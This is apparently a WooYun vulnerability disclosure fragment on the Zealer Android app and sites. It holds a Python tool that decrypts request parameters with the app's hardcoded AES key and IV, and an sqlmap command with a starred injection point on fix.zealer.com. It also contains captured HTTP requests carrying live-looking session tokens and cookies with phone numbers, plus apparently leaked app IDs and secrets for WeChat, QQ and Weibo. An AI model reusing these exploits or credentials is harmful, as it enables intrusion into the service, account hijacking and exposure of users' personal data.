WooYun.org

from Crypto.Cipher import AES
import base64
import urlparse
import urllib
BS = 16
pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS) 
unpad = lambda s: s[0:-ord(s[-1])]
class AESCipher:
    def __init__( self ):
        self.key = "@tony@2015ZEALER"
        self.iv = "0123456789ABCDEF"
    def encrypt( self, raw ):
        """
        Returns hex encoded encrypted value!
        """
        raw = pad(raw)
        #iv = Random.new().read(AES.block_size);
        cipher = AES.new( self.key, AES.MODE_CBC, self.iv )
        #aes_result = ( iv + cipher.encrypt(raw) ).encode("hex")
        result = base64.encodestring(cipher.encrypt(raw))
        return result
    def decrypt( self, enc ):
        """
        Requires hex encoded param to decrypt
        """
        enc = base64.decodestring(enc)
        cipher = AES.new(self.key, AES.MODE_CBC, self.iv )
        return unpad(cipher.decrypt( enc))
if __name__ ==  "__main__":
    while True:
        r_input = raw_input("\r\nplease input the decode URL:\r\n")
        input_str = str(r_input)
        if "?" in input_str:
            url_para = urlparse.urlparse(input_str).query
        else:
            url_para = input_str
            print 'Only support links with parameters in the request.'
        lists = url_para.split('&')
        aes = AESCipher()
        print '\r'
        for item in lists:
            try:
                print item.split("=")[0]+" : "+aes.decrypt(urllib.unquote(item.split("=")[1]))
            except Exception, e:
                pass
        #exit()

sqlmap.py -r app.zealer.txt --proxy=http://127.0.0.1:8080/

POST /call/social?access_token=12312312312312312312312312312312&android=android&channel=004&expires_in=1465585200416&nick_name=wooyun&open_id=5217947713&profile_image_url=http://zone.wooyun.orghttps://wooyun-img.oss-cn-beijing.aliyuncs.com/upload/avatar/avatar_65641438737858_b.jpg&type=weibo&appVersion=2.0.4 HTTP/1.1
Content-Length: 0
Host: app.zealer.com
Connection: close
User-Agent: Mozilla/5.0 (Linux; U; Android 6.0; zh-cn; PRO 6 Build/MRA58K) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1
Accept-Encoding: gzip

微信
wx6d57145b266819b7  18be9764a94cf37dfa45ebc09937b742
wx31585081521996f7  39123eba15a1ccb61b741567ce673633
QQ
1104974936  iuTcCKDNAr6TDO3i
新浪微博
3023567517  98ea848255a45a4630a993d6489d2d44

POST /recommend/list?android=android&type=index HTTP/1.1
Content-Length: 0
Host: app.zealer.com
Connection: close
User-Agent: Mozilla/5.0 (Linux; U; Android 5.1; zh-cn; MX5 Build/LMY47I) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1
Cookie: zealer=20d1e4a347e9abf307cc2617532d82d72bf477c5a%3A4%3A%7Bi%3A0%3Bs%3A6%3A%22804100%22%3Bi%3A1%3Bs%3A11%3A%2213085632914%22%3Bi%3A2%3Bi%3A2592000%3Bi%3A3%3Ba%3A6%3A%7Bs%3A8%3A%22username%22%3Bs%3A10%3A%22Z_KVx9R9UC%22%3Bs%3A8%3A%22nickname%22%3Bs%3A11%3A%2213085632914%22%3Bs%3A5%3A%22email%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22purview%22%3Bs%3A4%3A%22user%22%3Bs%3A9%3A%22community%22%3Bs%3A1%3A%22Y%22%3Bs%3A4%3A%22type%22%3Bs%3A0%3A%22%22%3B%7D%7D; z_q1=356u5v2hdrjnicicp3fqj9h1t7
Cookie2: $Version=1
Accept-Encoding: gzip

POST /user/notice?android=android&channel=004&page=1&token=g851pf9tvq62o7p1vhkggrmg06&appVersion=2.0.4 HTTP/1.1
Content-Length: 0
Host: app.zealer.com
Connection: close
User-Agent: Mozilla/5.0 (Linux; U; Android 6.0; zh-cn; PRO 6 Build/MRA58K) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1
Cookie: z_q1=g851pf9tvq62o7p1vhkggrmg06; zealer=d31588a0d9993c07ed4da902f55eca2ac3961d09a%3A4%3A%7Bi%3A0%3Bs%3A6%3A%22239112%22%3Bi%3A1%3Bs%3A11%3A%2215920390845%22%3Bi%3A2%3Bi%3A2592000%3Bi%3A3%3Ba%3A6%3A%7Bs%3A8%3A%22username%22%3Bs%3A10%3A%22sz123%22%3Bs%3A8%3A%22nickname%22%3Bs%3A10%3A%22sz123%22%3Bs%3A5%3A%22email%22%3Bs%3A17%3A%22123%40163.com%22%3Bs%3A7%3A%22purview%22%3Bs%3A4%3A%22user%22%3Bs%3A9%3A%22community%22%3Bs%3A1%3A%22N%22%3Bs%3A4%3A%22type%22%3Bs%3A0%3A%22%22%3B%7D%7D
Cookie2: $Version=1
Accept-Encoding: gzip

GET /reMobile/siftData?cartegory=phone&cid=&memory=&mid=&net=&order=2&parts=&rolex=12* HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://fix.zealer.com/reMobile/
Cookie: z_q1=89rg5pqc2mdh4c4h6hmqih8k22; Hm_lvt_93a776aa5a5632380561feba017dd90f=1463554266,1463554507; Hm_lpvt_93a776aa5a5632380561feba017dd90f=1463554507; z_q1=89rg5pqc2mdh4c4h6hmqih8k22; HMACCOUNT=39D8814D3EB2E447
Host: fix.zealer.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*

《一种常规Android脱壳技术的拓展(附工具)》 http://www.freebuf.com/sectool/105147.html
再一次感谢@bit4 提供插件帮助，希望drops赶紧发。